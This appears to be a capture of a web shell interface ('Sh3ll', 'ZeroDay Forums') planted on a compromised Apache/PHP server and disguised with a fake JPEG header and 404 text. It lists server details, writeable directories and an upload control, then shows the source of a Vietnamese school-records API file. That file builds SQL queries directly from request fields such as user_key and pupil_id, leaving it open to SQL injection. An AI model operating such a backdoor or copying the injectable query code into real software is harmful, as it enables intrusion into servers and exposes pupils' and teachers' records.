����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/api-truyentranh/includes/post/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/api-truyentranh/includes/post/post_comment_multi.php
<?php
global $DB;
/*$arr_unput = array('user_key'=>'giacbn.nhg','SCHOOL_ID'=>120,'PUPIL_ID'=>120,'SUBJECT_ID'=>120,'TEACHER_ID'=>10003829,'PUCM_TIME'=>date('Y-m-d H:i:s'),'PUCM_CONTENT'=>'Tốt','YEAR'=>'2023-2024','SUB_HK'=>'1');
echo json_encode($arr_unput);
exit();
$v_pucm_id = insert_pucm(
    $v_school_id
    ,$v_pupil_id
    ,$v_subject_id
    ,$v_teacher_id
    ,$v_pucm_content
);*/
$json = file_get_contents('php://input');
$arr_data = json_decode($json, true);
$arr_res = $arr_data;
$user_key = $arr_data['user_key']??'';
$arr_items = $arr_res['items'];
if(empty($user_key)){
    $arr_res['status'] = 'Error';
    $arr_res['status_note'] = 'user_key không tìm thấy';
    echo jsonutf($arr_res);
    exit();
}
$r_user = $DB->fetch_row($DB->query("SELECT * FROM TB_USER WHERE USER_KEY='$user_key'"));
if(!$r_user) {
    $arr_res['status'] = 'Error';
    $arr_res['status_note'] = 'user_key không tìm thấy';
    echo jsonutf($arr_res);
    exit();
}
$user_id = $r_user['USER_ID'];
$r_teacher = $DB->fetch_row($DB->query("SELECT * FROM TB_TEACHER WHERE USER_ID='$user_id'"));
$TEACHER_ID = $r_teacher['TEACHER_ID'];

$v_school_id = $r_teacher['SCHOOL_ID'];
$v_teacher_id = $r_teacher['TEACHER_ID'];
$v_pupil_id = $arr_data['pupil_id'];
$v_subject_id = $arr_data['subject_id'];
$v_post_time = date('Y-m-d H:i:s');
$PUCM_CONTENT = textformatdb($arr_data['comment_content']);

$v_learn_year = $arr_data['learn_year']??get_current_learn_year($v_school_id);
$txt_hoc_ky = $arr_data['hk_tih_value']??0;

if($txt_hoc_ky==0){
    $arr_res['status'] = 'Error';
    $arr_res['status_note'] = 'Học kỳ không tìm thấy';
    echo jsonutf($arr_res);
    exit();
}

$row_check_pupil = $DB->fetch_row($DB->query("SELECT * FroM TB_PUPIL WHERE PUPIL_ID='$v_pupil_id' LIMIT 1"));
if(!$row_check_pupil){
    $arr_res['status'] = 'Error';
    $arr_res['status_note'] = 'Học sinh không tìm thấy';
    echo jsonutf($arr_res);
    exit();
}
$row_pcy = $DB->fetch_row($DB->query("SELECT * FROM TB_PCY WHERE PUPIL_ID='$v_pupil_id' AND LEARN_YEAR='$v_learn_year' LIMIT 1 "));
$v_class_id = $row_pcy['CLASS_ID'];
if($v_subject_id!=1000) {
    $row_check_pcgd = $DB->fetch_row($DB->query("SELECT * FroM TB_PCGD WHERE TEACHER_ID='$v_teacher_id' AND SUBJECT_ID='$v_subject_id' AND CLASS_ID='" . $v_class_id . "' LIMIT 1"));
    if (!$row_check_pcgd) {
        $arr_res['status'] = 'Error';
        $arr_res['status_note'] = 'Giáo viên không dạy lớp này';
        echo jsonutf($arr_res);
        exit();
    }
}else{
    $row_check_gvcn = $DB->fetch_row($DB->query("SELECT * FROM TB_CLASS WHERE CLASS_TEACHER='$v_teacher_id' AND  CLASS_ID='" . $v_class_id . "' LIMIT 1"));
    if(!$row_check_gvcn){
        $arr_res['status'] = 'Error';
        $arr_res['status_note'] = 'Giáo viên không phải là chủ nhiệm lớp này';
        echo jsonutf($arr_res);
        exit();
    }
}
$PUCM_ID = $arr_data['comment_id']??0;
$arr_insert = array('SCHOOL_ID'=>$v_school_id,'PUPIL_ID'=>$v_pupil_id,'SUBJECT_ID'=>$v_subject_id,'TEACHER_ID'=>$v_teacher_id,'PUCM_TIME'=>$v_post_time,'PUCM_CONTENT'=>$PUCM_CONTENT,'YEAR'=>$v_learn_year,'SUB_HK'=>$txt_hoc_ky);
$arr_res['status'] = 'Success';
if($PUCM_ID==0){
    $v_comment_id = $DB->do_insert('TB_PUCM',$arr_insert);
    $arr_res['status_note'] = 'Đã thêm comment thành công';
}else{
    $v_comment_id = $PUCM_ID;
    $DB->do_update('TB_PUCM',$arr_insert," WHERE PUCM_ID='$PUCM_ID' ");
    $arr_res['status_note'] = 'Đã sửa comment thành công';
}
$arr_res['school_id'] = $v_school_id;
$arr_res['pupil_id'] = $v_pupil_id;
$arr_res['subject_id'] = $v_subject_id;
$arr_res['teacher_id'] = $v_teacher_id;
$arr_res['comment_time'] = $v_post_time;
$arr_res['comment_content'] = html_entity_decode($PUCM_CONTENT);
$arr_res['learn_year'] = $v_learn_year;
$arr_res['hk_tih_value'] = $txt_hoc_ky;
$arr_res['comment_id'] = $v_comment_id;
echo jsonutf($arr_res);
?>

ZeroDay Forums Mini